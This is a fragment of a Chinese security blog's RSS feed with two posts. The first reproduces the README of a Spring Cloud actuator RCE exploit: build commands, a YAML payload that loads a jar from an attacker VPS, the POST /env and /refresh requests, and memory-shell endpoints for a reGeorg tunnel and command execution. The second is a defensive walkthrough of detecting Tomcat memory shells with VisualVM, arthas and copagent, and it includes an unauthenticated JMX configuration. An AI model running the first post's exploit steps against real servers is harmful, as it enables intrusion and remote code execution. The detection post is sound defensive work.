		<category><![CDATA[rce]]></category>
		<category><![CDATA[regeorg]]></category>
		<category><![CDATA[spring]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1913</guid>

					<description><![CDATA[项目地址 https://github.com/Y4er/yaml-payload README 利用条件： &#8211; 可以 POST 请求目标网站的 /env 接口设置属性...]]></description>
										<content:encoded><![CDATA[<h1>项目地址</h1>
<p>https://github.com/Y4er/yaml-payload</p>
<h1>README</h1>
<p>利用条件：<br />
&#8211; 可以 POST 请求目标网站的 <code>/env</code> 接口设置属性<br />
&#8211; 可以 POST 请求目标网站的 <code>/refresh</code> 接口刷新配置（存在 <code><span class="wpcom_tag_link"><a href="/tags/spring" title="spring" target="_blank">spring</a></span>-boot-starter-actuator</code> 依赖）<br />
&#8211; 目标依赖的 <code>spring-cloud-starter</code> 版本 &lt; 1.3.0.RELEASE<br />
&#8211; 目标可以请求攻击者的 HTTP 服务器（请求可出外网）</p>
<p>仅在JDK1.8及Spring1.x测试通过,其他版本自测.</p>
<p>利用方法如下：</p>
<h2>编译class文件然后打jar包</h2>
<pre><code class="language-bash line-numbers">cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java -cp ./lib
javac src/artsploit/Tunnel.java -cp ./lib
javac src/artsploit/GameInfo.java -cp ./lib
jar -cvf yaml-payload.jar -C src/ .
</code></pre>
<h2>托管 yml 和 jar 文件</h2>
<p>在自己控制的<code>vps</code>机器上开启一个简单<code>HTTP</code>服务器，端口尽量使用常见<code>HTTP</code>服务端口（80、443）</p>
<pre><code class="language-bash line-numbers"># 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
</code></pre>
<p>在网站根目录下放置后缀为<code>yml</code>的文件<code>yaml-payload.yml</code>,内容如下:</p>
<pre><code class="language-yaml line-numbers">!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/yaml-payload.jar"]
  ]]
]
</code></pre>
<p>在网站根目录下放置打包好的<code>yaml-payload.jar</code></p>
<h2>设置<code>spring.cloud.bootstrap.location</code>属性</h2>
<pre><code class="line-numbers">POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/yaml-payload.yml
</code></pre>
<h2>刷新配置</h2>
<pre><code class="line-numbers">POST /refresh
Content-Type: application/x-www-form-urlencoded
</code></pre>
<h2>访问注入的shell</h2>
<ol>
<li>reGeorg: http://localhost:9092/api/v1/tunnel</li>
<li>cmd shell: http://localhost:9092/api/v1/game POST:code=whoami</li>
</ol>
<h1>参考</h1>
<ol>
<li>https://github.com/LandGrey/SpringBootVulExploit</li>
<li>https://www.anquanke.com/post/id/198886</li>
<li>https://github.com/artsploit/yaml-payload</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[防守视角] tomcat内存马的多种查杀方式</title>
		<link>/tools/1873.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Tue, 15 Sep 2020 16:00:36 +0000</pubDate>
				<category><![CDATA[安全运维]]></category>
		<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[护网]]></category>
		<category><![CDATA[查杀]]></category>
		<category><![CDATA[蓝队]]></category>
		<guid isPermaLink="false">/?p=1873</guid>

					<description><![CDATA[环境搭建 我在WINDOWS7虚拟机下搭建的Tomcat，搭建教程网上都有，点击startup.bat启动环境 注入内存马 这里使用了哥斯拉的内存马 查杀方式一：VisualVM（...]]></description>
										<content:encoded><![CDATA[<h1>环境搭建</h1>
<p>我在WINDOWS7虚拟机下搭建的Tomcat，搭建教程网上都有，点击startup.bat启动环境</p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200914221121.png" alt="" /></p>
<p>注入内存马</p>
<p>这里使用了哥斯拉的内存马</p>
<p><img src="/wp-content/uploads/2020/09/20200914234501.png" alt="" /></p>
<h1><span class="wpcom_tag_link"><a href="/tags/%e6%9f%a5%e6%9d%80" title="查杀" target="_blank">查杀</a></span>方式一：VisualVM（远程调试）</h1>
<p>设置jstatd.all.policy 文件</p>
<p><img src="/wp-content/uploads/2020/09/20200914221527.png" alt="" /></p>
<p>启动jstatd</p>
<pre><code class="language-txt line-numbers">jstatd.exe -J-Djava.security.policy=jstatd.all.policy -J-Djava.rmi.server.hostname=serverip
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200914225845.png" alt="" /></p>
<p>设置JVM Connection 修改 catalina.sh文件(LINUX)</p>
<pre><code class="language-txt line-numbers">JAVA_OPTS="-Djava.rmi.server.hostname=服务器的ip
-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=jmx使用的端口
-Dcom.sun.management.jmxremote.ssl=false
-Dcom.sun.management.jmxremote.authenticate=false $JAVA_OPTS"
export JAVA_OPTS
</code></pre>
<p>修改catalina.bat文件(WINDOWS)</p>
<pre><code class="language-txt line-numbers">set JAVA_OPTS=-Djava.rmi.server.hostname=192.168.67.115 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=8888 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false
</code></pre>
<p>下载VisualVM</p>
<p><img src="/wp-content/uploads/2020/09/20200914230218.png" alt="" /></p>
<p>MBeans安装插件</p>
<p><img src="/wp-content/uploads/2020/09/20200914230540.png" alt="" /></p>
<p>连接远程Tomcat</p>
<p><img src="/wp-content/uploads/2020/09/20200914234320.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915010531.png" alt="" /></p>
<p>检查异常攻击痕迹Filter/Servlet节点</p>
<p><img src="/wp-content/uploads/2020/09/20200915011135.png" alt="" /></p>
<p><strong>在Servlet节点中我发现到了自己设置的内存马test.ico，说明已经检测到了内存马</strong></p>
<h1>查杀方式二：arthas</h1>
<blockquote><p>
  arthas是Alibaba开源的Java诊断工具<br />
  https://github.com/alibaba/arthas
</p></blockquote>
<p>下载</p>
<p><img src="/wp-content/uploads/2020/09/20200915153921.png" alt="" /></p>
<p>文档地址 https://arthas.aliyun.com/doc/quick-start.html</p>
<p><strong>非常Nice的工具，深入用法请查看使用文档，这里只检测探测一下</strong></p>
<p>启动（选择对应tocmat进程pid）</p>
<p><img src="/wp-content/uploads/2020/09/20200915160837.png" alt="" /></p>
<p>mbean(查看 Mbean 的信息，查看异常Filter/Servlet节点)</p>
<pre><code class="language-txt line-numbers">mbean | grep "Servlet"
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200915161611.png" alt="" /></p>
<p>sc (查看JVM已加载的类信息)</p>
<pre><code class="language-txt line-numbers">sc xxx.* 模糊搜索类
sc -d
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200915183918.png" alt="" /></p>
<p><strong>查看payload加载的类信息</strong></p>
<p><img src="/wp-content/uploads/2020/09/20200915184214.png" alt="" /></p>
<p><strong>查看x.AES_BASE64类加载的类信息</strong></p>
<p><img src="/wp-content/uploads/2020/09/20200915185544.png" alt="" /></p>
<p>jad(反编译指定已加载类的源码)</p>
<pre><code class="language-txt line-numbers">jad 类名
</code></pre>
<p><img src="/wp-content/uploads/2020/09/20200915174856.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915174938.png" alt="" /></p>
<p>还有很多用法值得慢慢学习～</p>
<h1>查杀方式三：Copagent</h1>
<p>由于VisualVM在环境中可能还需要配置JVM Connection远程调试，我在长亭一篇文章中发现了LandGrey师傅所写的内存马检测工具，经过在本地Tomcat测试，可以检测到我自己设置的内存马，而无需重启Tomcat服务（重启了内存马不就没了吗?）先贴上Git地址</p>
<pre><code class="language-txt line-numbers">https://github.com/LandGrey/copagent
</code></pre>
<p>我本地运行Tomcat服务，使用cop.jar工具，工具首先会识别你正在运行的应用列举出来由你自己选择ID，运行后会在.copagent目录生成结果</p>
<p><img src="/wp-content/uploads/2020/09/20200915005424.png" alt="" /></p>
<p>在输出结果中，可以查看异常类，例如我的<code>1.jsp</code>和<code>X.AES_BASE64</code>，他会显示所有运行的类以及危险等级，比较高的可以进入目录查看代码进行分析</p>
<p><img src="/wp-content/uploads/2020/09/20200915121700.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915005447.png" alt="" /></p>
<p>在java或class文件夹会保存木马以及运行的类</p>
<p><img src="/wp-content/uploads/2020/09/20200915121748.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/09/20200915122054.png" alt="" /></p>
<h1>参考</h1>
<ol>
<li>https://mp.weixin.qq.com/s/DRbGeVOcJ8m9xo7Gin45kQ</li>
<li>https://qiita.com/shimizukawasaki/items/5dc9fe780ffbf3a7699c</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
